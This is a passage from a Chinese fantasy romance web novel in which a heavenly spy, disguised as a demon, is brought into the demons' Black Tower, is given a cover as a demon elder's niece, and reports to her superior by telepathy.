“对啊。”炽阳没觉得有什么,反倒不明白她的反应,顶着一张飞扬灿烂的脸,真诚发问,“你刚刚不是说听了一路,心向往之吗?” 鸣枝闻言,忙生硬地牵起嘴角,作痴迷状:“对……我太兴奋了,一时恍惚,不敢相信这是真的。” 不,她是完全还没做好心理准备。 竟有这么巧? 说好的徐徐图之呢! 虽然从未去前线与魔族正面交锋过,但偶尔从传回来的战报消息也能知道一二。 大魔头们个个骁勇善战,狂暴凶残,和寻常的魔族人不同,是个中的首领,万里挑一的佼佼者。 简而言之就是不好对付。 尽管迟早要面对,鸣枝本想着等在城里扎根下来以后,再逐一了解,小心接近。 眼下兵马未动,粮草也没行——这么快就要面对魔头老巢了自己怎么可能不慌! 她毕竟是一个不做好万全准备行事就没底的人啊! 鸣枝脑海里喧嚣得兵荒马乱,前面的炽阳却带着请她做客的口吻让开一步,“进来吧。” 末了又补充:“其实也没什么了不起的,跟着我走就行,喜欢的话,我还可以带你四处逛逛。” 对面大敞着的门内漆黑一片,妖风把老旧的门轴吹出“吱嘎吱嘎”的响声,由里到外散发着一股森森的鬼气。 怎么看也不像“没什么了不起”的样子,它瞧着了不起极了! 她下意识把笛子握在胸前,狠狠地咽了口唾沫,并迅速复盘细节。 他莫非看出我的来意了? 我沿途提及魔都、黑塔过于频繁,会不会表现得太可疑? 还是说这是个陷阱,踩进去就完蛋? 她一一设想,最后又把这些一一推翻。 自己要是真暴露了,恐怕进城就会被抓,也等不到现在。 冷静,不能自乱阵脚。 一番利弊权衡之下鸣枝做出了决定—— 硬着头皮上吧。 不好继续僵持下去,她一咬牙,跟着炽阳跨过大门。 迎面扑来幽幽的冷风,沁润肺腑。 一入内,视野就暗了,满目是难以视物的浑浊。 像踏进了另一片空间,呼吸迟滞凝重,宛如隔着一层难以名状的膜。 尽管担心的惊险危机并没有发生,鸣枝还是本能地感觉此地不简单。 这塔从外面看着不大,走在里面居然挺宽敞,前方气流通畅,似乎一直走不到尽头。 至于周围有何物…… 她努力眯眼定睛。 不行,什么也看不清。 太黑了,没有光,也没有烛火,耳边静得落针可闻,每走一步都会传来回响,大概很空旷。 行出好一阵,无事发生。 奇怪,魔头们在哪儿呢。 鸣枝于伸手不见五指的环境里睁着一双黑白分明的瞳眸,小声询问:“炽阳?” 前面玛瑙色的大眼回望过来,眨了两下,用神情表示疑惑:“?” 鸣枝:“这里没有人吗?” “不会啊。”那双眼弯成了新月,“这里很多人的。” “……” 那可相当恐怖了! 是活人吗! 她忙朝四下里频频张望,仿佛因得此话,连空气都无端冷了几分。 “我怎么没看见?” 就在鸣枝心神不宁左顾右盼之时,冷不防撞上了炽阳的后背,她捂住被磕的鼻尖,才意识到对方停了下来。 驻足站定。 接着只听“砰”一声巨响,竟是炽阳冲旁边的立柱拍了一掌。 他对虚空里喊: “我带了个人回来,给她把结界解开。” 几乎是话音落下的瞬间,鸣枝忽觉眼前那一直以来弥漫的薄雾渐次散开,仿若有烛火缓缓亮起,周遭开始变清晰了,环境和轮廓纷纷退潮般浮出水面,露出了黑塔内部的真实面目。 而当视线恢复清明之后,她骤然发现—— 自己头顶,身侧,远方,近处。 乌泱泱全是魔! 她吓了一大跳,脑门上的刘海都立了起来,忙炸着毛挨近炽阳的胳膊,灵魂简直是在应激的边缘。 这也太突然了,比见鬼还可怕! 鸣枝随即想起什么,又往来路望去。 黑塔正门的微光弱到几近湮灭,在这不算短的距离里,站着一群群威武雄壮,劲装束甲,卫兵打扮的人。 自己一路上都是在这么多双眼睛的注视下走过来的吗? 光想想她就汗毛倒竖。 便是在此时,前面不远的地方有人开口: “去附近打个野味跟失踪了似的,几天了没一点消息——回来倒是嗓门大,真是不优雅。” 说话的是个年轻男子,语气透着些微嫌弃与不耐,音色却十分贵气。 大概是那一边的光线并不太亮,等鸣枝循声一看,惊觉此处竟还有几个人。 昏暗里,极具压迫感的四道人影映入眼帘,她当下绷直了腰背。 这小偏殿里的魔一定非同一般。 因为……他们的穿着和外面的卫兵完全不一样! 比之街上的魔族也有明显区别,不是面目狰狞,壮阔如熊,就是张牙舞爪,狐媚魇道,总之非常有“魔味”,非常不好惹。 恐怕高低也得是个小头目的水平。 在鸣枝忌惮地打量之间,那年轻男子悠悠起身,手里居然捏了把风度翩翩的折扇,似乎是目光瞥到了她,略觉不满地以扇掩脸,皱眉道。 “你还带了个外人进来……” 她赶紧不着痕迹地往炽阳背后躲了躲。 而跟前的金毛懒懒散散地一笑,只回答了前一个话题:“是啊,运气很好,猎到了两脚龙,已经吃完了。” 男子边上即刻响起一个娇滴滴的女声:“炽阳原来打猎去了呀,怎么不叫上我。” 随后她扫到了鸣枝,两眼放光,“这就是你捕到的野味吗?人形态的魔兽诶,好少见哦。” “看上去水灵灵的。”花枝招展的女魔头馋得直吸溜,“可以给我尝一口么?” 不可以! 当然不可以! 鸣枝一手揪着炽阳的衣衫让他快想办法,一手握住求救的瓷瓶在内心深处拼命拒绝,冷不防被一个高大壮汉凑近嗅了嗅。 她没忍住原地起跳:“啊!” 炽阳抬手往自己身后轻轻挡了一下。 “嗯……闻着不像食肉猛兽。” 那汉子满脸虬髯,魁梧如山,嗅完后若有所思地点评,“恐怕是食草类的。” 继而遗憾退出:“不适合我的口味。” 对面的女魔头倒是捧着脸扭成了麻花,“哎呀,清口的,我喜欢!” 鸣枝:“……” 魔窟,这绝对是魔窟! 正惊慌失措之际,人高马大的魔头中间,最后一个纤瘦的矮个子叹着气无奈道: “你们两个白痴,那是正经的魔族,尝一口是想被丢出去吗?” “再说这世上也没有那么像‘人’的魔兽。” 壮汉与魔女闻声十分意外,“没有吗”“真的没有吗”惊奇得此起彼伏。 好像她横看竖看都该是一块行走的人形糕饼,还是果蔬味儿的。 幸好…… 鸣枝微微宽心。 此地饮食虽多有离谱之处,但至少没到百无禁忌的地步。 在一片探讨“是否真有这类禽兽存在”和惋惜她不能吃的惆怅声里,捏着扇子的贵公子依旧保持怀疑: “即便是遇到两脚龙,也不至于耽搁这么久吧?你到底干什么去了?” 这个问题又抛了回来。 ——不能告知旁人真相。 可关于他躲在巨石里的空白时间,总得找个理由搪塞应付…… 炽阳却几乎没有迟疑,张口就道:“哦——因为我中途去给‘老叔’接人了。” 说完便把犹自惊魂未定的鸣枝推了出来,大喇喇地暴露在众目睽睽之下,“就是她。” 几双眼睛“唰唰”贴到了近前打量。 “接人?”那贵公子愈发困惑地将她上下一端详,“你走的时候怎么没提?” “当然是路上临时收到的传信。”炽阳摊手一耸肩,“要不也不会现在才回城里。” “‘老叔’让接的人啊?”< /p>女魔头好奇地围着鸣枝转,“是他从哪里新挖到的墙脚吗?” 她笑眯眯地托起腮,亲切且热络地打招呼:“你会什么特殊的技能呀?” 会大变活神仙呢。 厉害吧。 她没回答,炽阳先帮她接了话:“不知道,应该是来投奔他的。” 说完,便笑着口出狂言,“‘老叔’是她舅舅。” 鸣枝:“……” 谁的舅舅? 此言一出,满场的哗然声又往上蹿了一层。 这回显然连那位很能找麻烦的折扇公子都信了,眼里分明写着怔忡。 “哇!” “是‘老叔’的亲戚呀?” “这可真是意想不到……” 谁说不是呢。 鸣枝心道。 她自己也意想不到呢! 炽阳全程压根没给她半分反应的机会,鸣枝甚至不知他们口中提及的“老叔”究竟是何方神圣,貌似就给安上了一个不得了的身份。 听得出这大概是针对两人解契之事打掩护。 但……这些都是谁? “老叔”又是谁? 她随后振聋发聩地想: 这是哪里,我是谁? 鸣枝面上稳如泰山实则慌得抱头鼠窜,镇定地转头看向旁边的金毛,意在得到些许提示。 对方余光倾斜下来,当即递了她一个赏心悦目的笑眼。 你别笑了,我根本看不懂! 怎会如此? 他事前一点也没说啊,哪有人不提前统一口径就自行发挥的? 好歹也要让她知晓后续如何配合行动吧。 这人…… 认识至此,鸣枝终于对他形成了一个掷地有声的印象。 有病! 炽阳自然读不出她此刻内心的尖叫,接着往下介绍:“她从黑水滩来的。” 果不其然,四周又浮起了新的议论。 “黑水……好偏僻的地方……” “我有几百年没听过这三个字了,那里居然还有魔族活动吗?” “听说上一次看见黑水滩有人影出没,已经是八十年前的事了。” 只有女魔头不明所以:“黑水滩是哪儿?” …… 黑塔高得不可测量,由于天花板太过遥远,照明之物便尽在两侧悬挂,先前只亮了这一半,忽然间前方的另一半也豁然开朗。 一串不紧不慢的脚步声伴着一个浑厚慵懒的嗓音悠悠传过来。 “真是少见你们几个聚在一起……这是聊什么这么热闹?” 魔女转过身,欢快道:“啊,老叔来啦。” 她把手一扬挥了两挥,“老叔,我们在聊你的亲戚,炽阳已经把她接回塔里了。” 这个“老叔”竟然在场吗? 鸣枝下意识揪住了炽阳的衣袖。 她原以为是这人眼下不在黑塔,所以报他的名无可对证,能暂时应付过去。 既然如今本尊在此,等下要如何对质? 难道他们私底下已经达成了共识? 有可能吗? 一路上也没见炽阳给谁传过信啊…… “我的亲戚?” 灯火通明之中有两道人影缓然靠近。 后者大约是随侍,姿态谦卑而恭敬。 炽阳先唤了句:“老叔。” 然后偏过脸,侧目朝她说道:“你舅舅来了,还不叫他一声?” 少年狭长的眼角透出一抹若有似无的笑,带着安抚的意味,从容得堪称自在悠闲。 鸣枝接触到他的神情,总算领会到了一点“让她放心”的言外之意。 看来他早有安排。 想必这也在计划之中吧。 此时,那位老叔已行至近前站定,伟岸的阴影能把她整个人笼罩进去。 鸣枝连忙仰起脑袋:“舅、舅……” 对方迎着光亮微微抬起下巴。 他瞧着虽也有“壮汉”的体魄,气质却与壮汉相去甚远,头发松散凌乱地披在肩上,还衣衫不整地敞着怀,像个落拓不羁的江湖浪人。 鸣枝前一个字尚且叫得响亮,后半个字却明显底气不足。 她看见此人的表情充满了迷茫,和自己对视时满眼都是困惑和空白,貌似睡醒一般摸不着头脑。 他真的安排好了吗? 这个舅舅明显比她还在状况之外啊!感觉一张口就要问“你是谁”了! 7.迷惘(七) 落拓的浪人居高临下垂眸,冷眼盯着面前的两个少年,那神色晦暗不明,深邃得几乎看不出情绪来。 就在鸣枝七上八下的时候,只见他目光细微地一顿,眼角旋即弯起,献出一张堪称哄小孩的笑脸,和蔼可亲道: “哎呀,你都长这么大啦?路上辛苦,没遇着什么麻烦吧?” 谢天谢地! 舅舅终于接上戏了! 她眸子里闪着感激涕零的光,忙说:“没有没有,很顺利。” “多亏有炽阳在。” “哦,是吗——” 两人你一言我一语地唱起了认亲记,旁边那心思缜密的矮子却忽然若有所思,“……可我记得老叔的故乡不在黑水滩。” “他是三途洲的人吧,怎么会冒出个黑水滩的血亲……” 鸣枝:“……” 差点忘了有这茬。 她还没来得及忐忑,脑袋顶上便被人大手轻轻一扣。 对方游刃有余地接话:“因为我是‘干舅舅’。” 他勾起笑意,“广结善缘,金兰无数,最喜欢与人拜把子。” 说完顺势将鸣枝往前推了推,不露声色地递台阶:“走吧大侄女,跟舅舅进去叙叙旧,舅舅还有‘好多事’想问你呢。” 他一手推着大侄女,另一手推着不是大侄子的炽阳,脚步不疾不徐地朝黑塔深处走去,满脸写着高兴。 身后犹在原地里的魔头们陷入安静,约莫是在消化这复杂的人际关系。 女魔头想了很久:“……舅舅对应的称呼是侄女吗?好像不太对啊。” 矮子:“他都干舅舅了,哪会在意这些细节。” 他把手交叉叠在脑后,见怪不怪,“老叔那性子你又不是不知道,就让让他吧。” * 鸣枝被带进一间房内,看陈设约莫是书屋。 房中再无旁人,大概是这位老叔的私人地盘。 她举起视线四处打量。 这黑塔里的结构真是不可貌相,想必有类似空间折叠术的手法在里面吧。 好少见啊…… 关上门后,男子便回过头来瞧着这俩倒霉孩子,一个全然不明所以,一个厚脸皮滚刀肉。 那滚刀肉还在没心没肺地朝他笑。 怎么看都像是没憋什么好屁的样子。 引千锋顿觉心都疲乏了几分,不由惆怅地一叹。 “说说吧。” 他此话显然是冲着炽阳,“你又给我惹什么麻烦了?” “也不是什么大事,就来找你帮个忙。” 少年语气随意又自然,明晃晃地一笑,指指鸣枝,“我跟她不小心结成了共生契,想说你有没有什么可以解除的办法。” 鸣枝万万没想到他这么直白就告诉对方了,正惊诧而紧张地抬头,见炽阳挑挑眉解释:“没事,老叔是自己人,他知道我的事。” 她垮下绷紧的肩膀,心中回过味。 原来这就是黑塔里能帮忙解契的那位。 引千锋宛如早有预料,听完便抬手捏起眉心,止不住地苦笑,“‘也不是什么大事’,你可真能说啊。当共生契是小孩子拉钩钩,不高兴了就换一个?和同族结契,你知道魔族寿命有多长吗……” “冤枉啊老叔。” 炽阳带着毫不委屈的态度替自己喊冤,“我是有原因的。” 他把在荒漠里发生的来龙去脉和盘托出,“……偏不巧迷惘墟有魇兽出没,偏不巧它一进去正是月圆夜,又偏不巧我没带共生兽,再偏不巧遇上她被追杀我被围困。” “所以才落得现在这个局面。” 他两手一摊,笑得一副“你看不是我作妖吧我能怎么办”的模样。 鸣枝瞧那胡须拉渣的男子既不生气也不恼怒,脸上只有些无奈,好脾气似的开口问:“在石魔器里面也不能给家里传信么?” 炽阳:“不行,那东西隔绝万物,术法法器一概出不来,倒是可以说话,吓唬吓唬几个小妖魔不成问题。” “哎,”对方摇摇头,“难怪去了那么久,我该早些发觉不对的。” “听你所言,这次的情况不容乐观,稍有不慎你小子可就没命了。” “本来是要没命的,谁让我运气好呢。” 他笑道,“这不是遇到你‘大侄女’了吗?” 鸣枝本在一旁默不作声地听着,眼见炽阳居然还敢提这事,终于想起来质问: “你要给我安排身份,进塔前怎么不和我知会一声,我什么都不知道,万一说错话怎么办?” 没想到他答得堂而皇之:“我也不知道啊。” 哈? 炽阳弯起一双杏眼,“我也没想好要怎么带你进来找老叔。” 他自信道:“所以干脆临场编的。” 鸣枝目光呆滞地注视了他片刻,旋即伸手扳着他的肩不可置信:“你‘临场’!‘编的’??” 这种事情能临时编吗!? “对。” 偏偏边上的老叔端起茶杯肯定了此人的说法,“其实我也不知道,没人和我通气儿。” 末了还习以为常地补充,“他经常这样的。” 鸣枝重新摇晃他,“太冒险了!没想好就不能等想好了、商量好了再一起进去么?” “这要是露馅了可怎么圆啊?!” 她想起方才那场大戏就心惊胆战,想到他更是全无准备信口开河就更心惊胆战了。 不是事关他自己的软肋吗? 这人哪来那么大的胆,吃什么了,那三头两脚龙? 炽阳在她手里软面条般摇摆,笑容依旧:“反正你也预料不到进来后会发生什么,不如随机应变见招拆招咯,现在不挺好的。” “好在哪里。”鸣枝拼命摇动,“我刚才都要慌死了!” “不会啊。”他还笑,夸得真情实感,“我看你表现得蛮不错嘛。” 鸣枝:“……” 好想摇死他! “不过。” 就在此时,喝完一口茶的引千锋悠悠插话:“虽为临时起意,但炽阳这么做的确算是目前最稳妥之举。记在我的名下,至少旁人不会对你生疑。” 他抬眼看向鸣枝,“小姑娘,你恐怕要在此地多住几日了。” “我解不了你们身上的共生契。” 她闻言一愣。 连炽阳都从她手里滑了出来。 引千锋:“这是上古秘术,尽管流传甚广,却很少有人解约,毕竟能提出‘共生’的魔族大多各有不足,才会各取所需。” 他抓了抓凌乱的长发,似乎也觉得难办,“想要化解……一时半刻真没什么可行的法子。” 炽阳听完兀自沉默了一阵,忽然就懂了,好整以暇地挑破他:“只说‘多住几日’,不是‘一直住下去’,证明老叔你心里其实有不少成算的是吗?” “干嘛拐弯抹角。” 引千锋靠在圈椅内无可奈何地叹气,“我只是不想把话讲得那么满,万一办不到那不是在女孩子面前丢人么,老叔一把年纪了,总比年轻人要脸一些,不像你。” 这么没脸没皮。 没脸没皮的炽阳略一思索,很快就问:“我婆婆呢?禁术方面她比较在行,让她帮帮你。” “她外出不在家,等回了塔里,我会和她探讨解契的事。” 说话间,鸣枝发现身侧有人捧着托盘递来一盏茶。 高挑的仆从裹了一席厚实的黑斗篷。 她接过盖碗刚要道谢,冷不防看到对方露出的眼珠子“喀咯”转动了两声,正好直勾勾盯住自己。 这玩意,好像不是活物。 “那是老叔做的人偶。” 炽阳端起另外一杯,冲她一抬下巴,“他是个偃师,玩傀儡术的高手。” 引千锋摆摆手:“不是什么了不起的东西,做来给自己解闷儿的罢了。” 鸣枝并未吭声,对着碗里的茶汤出了一会儿神,突然道:“意思是说,眼下还解不了我们之间的契约对吗?” “唔……解析此术 需要费些功夫,具体要多久我暂时说不好,究竟能不能破解我也说不好。总之不是个三两日就能有结果的事情。” 引千锋以为她是有什么顾虑,“黑水滩山遥路远,你若急着回家,不如先让炽阳跟你走一趟,交代交代,以免亲友们担心。” 她忙道:“不不不。” “我是专程出门游历,历练的,待多长时间都没问题。” 事到如今鸣枝反而不怎么操心契约了。 仔细一想,仙界大神能人辈出,小小恶契有什么紧要。 等自己完成了任务,与老星官解释解释,偌大的神域难不成还找不到一个可以替她解契的? 反之,她趁此机会光明正大地潜入了黑塔内部,一日找不到解除之法,就能在此地多待一日。 由于利益相关,还有人主动替她隐瞒。 岂不是歪打正着,正中下怀。 好事啊。 “哎,那我就放心了……” 人偶退回引千锋身侧,他姿态又重新慵懒起来,面色亲和地支着肘,“你以后对外便称我舅舅吧,前来混沌塔投靠我的人很多,你这样的也不少,不会有谁多问什么。” 言罢,他调侃:“我还没有过这么灵秀漂亮的侄女呢,倒叫我白捡个大便宜了。” 鸣枝现在的身份又多了一重,她首先是一个假魔族,其次是一个假侄女。 感觉自己像棵包菜。 “那么,我再重申一遍这个契约的内容。” 引千锋忽然压低了嗓音,表情无端郑重,“你和炽阳的共生契,对你只有一点要求——月圆夜时,他若有需要,你得祭出自己的血。” “看上去好像他仅取用了一点点,然而实际上是你们二人在共用你身上的血源,所以这必须是活血。” 鸣枝目光微微一凝。 知道提前放血储备这招是不能用了。 “一旦你拒绝或是抵抗,便视为背约,即刻会遭契约反噬。” 大概怕她多想,老叔叔眯起笑眼缓和气氛:“听着是吓人,不过对你身体的影响并不大,可以该干什么该什么。” “炽阳的约束就更多一些,他得时刻护着你,保证你不受任何伤害,怎么样,是不是很划算?” 鸣枝:“……” 太划算了,她一个卧底多了个贴身监视。 尚没应声,边上的金毛反倒先开了口:“岂不是她去哪里我都得跟着?” 引千锋颔首之际顺便一提:“你去哪里也要把她带上。” 炽阳:“去哪里都带?打架也带吗?” 老叔叔点头肯定:“也带。” “魔域各空间情况不同,这次的意外不就是个教训么?以防万一,我可没有第二个石魔器给你挥霍了。” 炽阳闻声抱着手臂感慨,“以前的共生兽就巴掌大,往怀里一揣就带走了,要用的时候摸出来啃一口,多方便。” 说着轻轻比划,“她这么大一个……” 他还嫌弃上了。 鸣枝不由忿忿道:“真是对不起啊,我这么大一个!” 炽阳看她炸毛,抬手笑着安抚:“我没说你不好。” 又要履行契约,还得与魔族寸步不离。 意味着以后身边会多一双眼睛盯着她的一举一动。 尽管成功入驻黑塔算是了却一桩大事,可是潜伏难度也越发大了。 鸣枝悄无声息地抿住唇角。 只觉任重道远。 炽阳见她一副郁郁寡欢的模样,当她还在懊恼结契的事,略略想了一下,拿手指刮了刮鸣枝发髻上的流苏,替自己找补:“诶,我很能打的。” “今后若是遇上什么麻烦,随时叫我,我帮你解决。”他一挑眉,“保证你不亏。” “对。”捧着茶碗的老叔立刻作保,“这些天你可以随便使唤他,想怎么使唤都行。” 引千锋把这份遛狗的活儿交给她。 “横竖他成日里也是一身使不完的牛劲,不要客气,多折腾折腾。” 8.迷惘(八) 鸣枝没有心思遛狗,她现在就已经累得死狗一般。 她往床上一躺,任由柔软的垫子将身体微微抛起。 好舒服的被褥,像棉花似的。 终于能暂时退出警戒状态,她用力舒展四肢,听见周身筋骨啪啪作响。 短短两日,又是被人追杀又是深入虎穴,既要担心受怕又要斟酌言辞,紧绷的神经近乎没有松懈过,堪称惊险刺激,脑汁都快烧干了。 而今乍然睡上了高床软枕,还有几分不真实的恍惚。 此地是那位“舅舅”给她安排的住处,在黑塔里面,第三层的某间客房内。 说是客房,空间却不小,有厅堂有茶房并两个寝室,可谓五脏俱全,一看就是空间法术的手笔,和整个塔的构造如出一辙。 雕花床还挺大,鸣枝滚了几圈后摊开双臂,盯着天花板放空思绪。 就这么轻而易举地混进了敌人内部,想想仿佛做梦一样。 也不知现在的处境对她而言究竟是好是坏。 那几个魔头瞧着就不是什么善茬,而他们对某位“老叔”的态度却毕恭毕敬,显然此人在黑塔里说话很有分量。 暂且抛开“大侄女”这个新身份不提,她今日在塔内晃悠了这么久,也没被人看出什么来,至少可以证明她作为魔族的存在是毋庸置疑的。 这让鸣枝宽心了不少——或许潜意识里她依旧很难相信自己真的掩盖了仙气。 不过一想到身处满是高手,大魔云集的地方,还是哪儿哪儿都不自在。 屋里不会有什么监听用的法器吧? 思及如此,她猛地鲤鱼打挺爬起身,将房间里里外外检查了一遍。 并未查出什么有价值的东西,鸣枝又重新把自己摔回软床内。 哪怕是魔族,想必也没有这样严苛的,日子还过不过了…… 不管怎么样,往后小心行事总归不会错。 她依旧躺在原处,安静地出了一会儿神,继而从怀里摸出法宝,高高举起。 双鸾笛从前是一把雕着双头鸾鸟的翠青玉笛,现在跟着她“近墨者黑”,在丹药的作用下成了一把张牙舞爪的黑色魔笛,连神圣的鸾鸟都变种了。 乍一看非常唬人,好几次没反应过来差点脱手往外扔。 鸣枝对着光照耀,笛子一端系着的红色穗子轻轻晃动。 接下来要怎么办呢? 天界应该还未得知她的境遇,得把情报传回去。 可联络的方式又是单向的,也就意味着,眼下她只能等了。 上峰曾言,到了魔都会有人联系自己。 不知道他们要怎样联系,几时才能有消息…… 听“舅舅老叔”的语气,解除契约恐怕不止十天半月,没准儿得耗上一年半载甚至更久。 解契后还容不容得她赖在黑塔里很难说。 鸣枝必须赶在这之前彻底熟悉魔族的习性,以便将来在城内立足。 最好是能寻到一处藏书丰富,包罗古今的地方……她对黑水滩的一切堪称两眼一抹黑,急需恶补知识,否则说不定以后哪一句话就露馅了。 正胡思乱想之际,灵台蓦地闪过一丝触电之感。 “呼,呼,咳咳,喂?” 脑中响起斗宿星官的声音。 老头子在另一边问:“枝儿啊,能听见吗?” “星官!” 鸣枝几乎是从床上弹了起来,差点唤出声,而后才意识到这是神识交流。 对呀,怎么忘了还有这个途径。 如此便不用担心被旁人发现了。 老上峰在那头欣慰:“你这就找着乌云垂野了?倒是比我想象中的要快。” 她闻言不免奇怪:“您是怎么知道的?” 自己还什么都没说呢。 “嗐。”老头儿道,“那根通讯的穗子就得在大魔都才用得上,你不在我也联系不了你。” 原来是这样…… “现在情况如何?你这几天来魔域还适应吗,可有什么收获没有?” 那真是小孩没娘说来话长了。 她遇到了两个骗子,一个怪胎,以及数不清的妖魔鬼怪。 鸣枝难得听到熟悉的声音,心中亲切万分,不自觉倒豆子似的向他诉苦:“星官,你都不知道,书上所写根本不及此地的十之一二!那些魔族会吃生肉,喝鲜血,坑蒙拐骗,武德低劣,看我是小地方魔就给我设套,净捡乡下来的老实人欺负,还有还有啊……” “诶,魔族嘛。” 不等她讲完,斗宿便不以为意地应答,“缺乏教化,生性野蛮,没办法的事。” 末了,又仔细叮嘱,“对方虽皆是不成体统之辈,但你也要稳住心气,凡事能忍则忍,小不忍便乱大谋,千万别露了马脚,可明白?” “嗯,明白……” 她激亢的倾诉被半途打断,老老实实地应了一声,却到底想和上峰抱怨这一路来的坎坷,又禁不住说:“您知道吗,原来魔域的传送阵特别危险,阵口会有什么……守阵魔兽。” “仙君的术法有偏差,他把我放在了一处很荒凉的地方,叫作、叫作‘迷惘墟’,我找了好久才找到这里的。 “迷惘墟内有一种特别厉害的两脚龙,它们会召唤同类,这个魔龙啊……” “仙君自是不能直接送你到魔都去。” 斗宿星官挑要紧的解释,“那里大魔横行,眼目又多,你凭空出现岂不可疑?” “迷惘墟是去乌云垂野的必经之处,由此入城更为妥帖合理,你以为尊神们能不知晓其中道理?” “再说了,也算是对你的考验,瞧瞧你是否有本事自行抵达魔都。” “……” 她差点就阵亡在了魔都门口。 鸣枝张了张嘴,本想接着先前的话,满腔的碎碎念却无端熄了火。 不知为何,连日来的艰辛磋磨忽然卡在了喉咙,竟不好再开口。 她最后只道:“哦……” 斗宿一番长篇大论完毕,想着尚有任务要安排,于是问:“对了,你现下在魔都的什么位置?” “既已入城应该不难发现那座黑塔吧?它大概处于整个魔都的最北边,黑墙黑瓦,与周遭的建筑区别分明。” 他试图给她描述此地的风貌与方位。 “怎么样,你现在能看见吗?” 这头短暂地默了一阵。 “说出来您可能不信……” 鸣枝不知要怎么跟他解释比较好。 “那个,我其实已经在塔里了……” 识海中唠唠叨叨的斗宿星官僵滞片晌,旋即震撼得地动山摇。 “什么?!” “你这就进去了?你怎么进去的?” 老上峰兀自顿了顿,似乎品出什么不得了的结论。 “你该不会是被他们抓了?!魔族人难道正在监听我们的对话!事情败露了?这是陷阱?!” “啊不不不……”眼看老头儿愈发往离谱的方向设想,她连忙打住,“此事颇为复杂……” 鸣枝将前因后果一一告知,然而讲到与炽阳相识的细节,她微妙地停顿了一下,把结契的事隐去了,只说成是两人一并退敌,为了答谢,才带她来魔都。 反正,等回了天界再提也不迟。 “好……这,实在是太好了!” 听斗宿的语气,他显然喜出望外。 “我真没想到,枝儿啊,你这次可是立大功了!可比预计的时间快了小半年呢!” “照这个进展,上面没准儿会提前发兵,如若能将妖魔一网打尽,你就能早早功成身退,返回九霄天了。” 她闻言也来了精神:“真的吗?” 能早些回去那肯定求之不得。 “嗐,骗你作甚么。端了这黑塔就等于端了半个魔域,谅他们也没余力再与我界抗衡。” “我会即刻向尊长们上报,在下一步指示到来之前,你先小心与塔里的人相处,尽量取得他们的信任,当然,也别操之过急。” 耳边的上峰连声感叹,喜不自胜,连带鸣枝也跟着被感染了几分松快。 话到终了,斗宿的腔调渐渐放缓,有别于此前公事公办的态度,他长辈般语重心长: “枝儿啊,虽然向帝君引荐你是出自私心,但我一直都认为,你是这个任务的不二人选。” 鸣枝坐在床边,正发呆的目光微微一动。 魔域的天已经黑了。 屋内,灯尚未点上,于是仅有细碎的光从窗外透进来,伴着喧嚣的人声和耳畔悠远的话音。 “星官知道,你平素做事认真,又有耐性又沉得下心,好学,勤勉,尽管法力和运气稍稍欠了点儿,却是个仔细的孩子。” “卧底潜伏说来简单,好像谁去都行,可我很清楚,这不是拼伎俩,比神威的事。九天神仙千千万,你有你的独到之处。”< /p>“星官对你有信心。” 月光堪堪铺陈于脚下,有一束被她足尖截断。 鸣枝看在眼里,忽有种奇怪的感受,好似那一瞬,这一路的奔波惊吓,茫然与彷徨皆得以收存安放,她又能多撑一段日子了。 鸣枝点点头:“嗯!” 就在这时,忽听见老头儿惊呼不妙:“诶,不好,魔都的乌云想是又聚厚了,通信术法怕是支撑不了多久,我长话短说。” 鸣枝不由一愣:“您老人家不能随时和我保持联系吗?” 他说:“那当然不行。” “魔域里的时间流速与我们这边不同,即便你带着穗子,人待在乌云垂野,我也未必能顺利催动它。” “要用此物的条件颇多,未免妨碍你日常行动,今后你我便以书信交流。” 一语方罢,识海中出现了一抹华光。 “看见这个法阵了吗?天界下达的任务都会写在上面,你记得每天抽空看一眼,有什么新的情报也及时留书记上。” 鸣枝:“我知道了……” “行了,不多话了,术法快断……” 他还没道完,来自灵台上的传音便蓦地断了开来。 聒噪的声响戛然而止。 天地万物一片安静。 此刻,街市上纷繁的人语开始从塔楼之下爬上室内,随后逐渐清晰,现实把鸣枝从遥远的天际又重新拉回了险恶的地狱。 那应该是魔都热闹的夜市。 她一面消化着上峰今夜交代的种种,一面任由自己向后倒去,望向头顶的天花板。 能得到前辈的认可,不管是不是说来哄人的,鸣枝心头都很高兴。 原本还打算和星官多讲一些见闻,讲讲魔族的建筑和仙宫有什么不一样,讲讲她如何机缘巧合蒙混过关,又如何心惊胆战…… 好不容易能听见乡音,若改为书信联系,恐怕再没这种机会了吧。 不知道还要在此处匿伏多久呢? 她这就有点想家了。 好在也有了盼头,早日帮天界铲除妖魔,就能早日脱离险境。 鸣枝抠着笛子上的花纹若有所思。 魔域和神界不一样。 神明居住的地方在人界之上,无论刮风下雨,四季怎样变化,两界都共看同一轮日月。 而魔界不同,据说魔域独立于人、神之外,是一处全新的异空间。 入口在人间,具体的方位鸣枝不清楚,她是走的传送阵。 那里数万年来一直由天兵神将把守着。 两族在上古时似乎因为某种纷争而结下了仇怨,战败的魔头们总贼心不死地想穿过裂隙进犯人界,自天地格局初成起,至今也没消停过。 但从前多是小打小闹,这些年却愈发有破釜沉舟,势在必得之势。 要是她此次助力除去了大魔都,除去黑塔里的魔头,神界镇压魔族想必便轻而易举了。 指甲嵌在纹路间轻轻停住。 想到这里,说不清为什么,鸣枝心里没来由地一顿。 她对着黑夜抬起手臂,指腹在手腕间摩挲了一下,只有契约双方能看见的印记立刻被唤醒,流过一道银红的光。 火焰一般。 共生契的契纹…… 她脑海中无端便浮现出一头张扬的金发来。 尽管结契给自己造成了不少麻烦,不过平心而论,能从虎口脱险确实多亏了他,更别说可以这样轻易地扎根黑塔。 如果不是遇到炽阳,她大概还得走许多弯路吧。 此时此刻,说是内疚好像也谈不上,但就是隐隐的,有些不太舒服。 鸣枝把手贴在胸口,五味杂陈地抿起唇,最后摇摇头,让自己静一静。 算了,不想那么多。 明早还要探查黑塔,得养足精神才行。 鸣枝打了个绵长的呵欠,疲惫地阖上双目,抱起软枕转过身。 这几日应付太多事,累得快没力气思考了,她要天荒地老地睡一场。 四周渐次沉入好梦的氛围里,大约静默两息光景,鸣枝突然猛地睁开眼。 等等,慢着。 怎么觉得自己在侧躺之前,余光瞥到旁边多出了一个…… 她扭头往后面看。 一张眉宇飞扬的脸赫然出现在面前。 那头金毛就躺在她旁边的枕头上,双眸晶亮有神地与之对视,几乎是脸对脸。 9.迷惘(九) “哇——!” 她“噌”地从床上弹了起来。 炽阳见状也跟着坐起身,学她的语气象征性“哇”了一下,并不很着急地左右看看:“怎么了?有刺客吗?” 不,比刺客更恐怖的东西出现了! 鸣枝抱住被褥,几乎惊恐地指着眼前的那一头金毛:“你……你怎么在这里?” 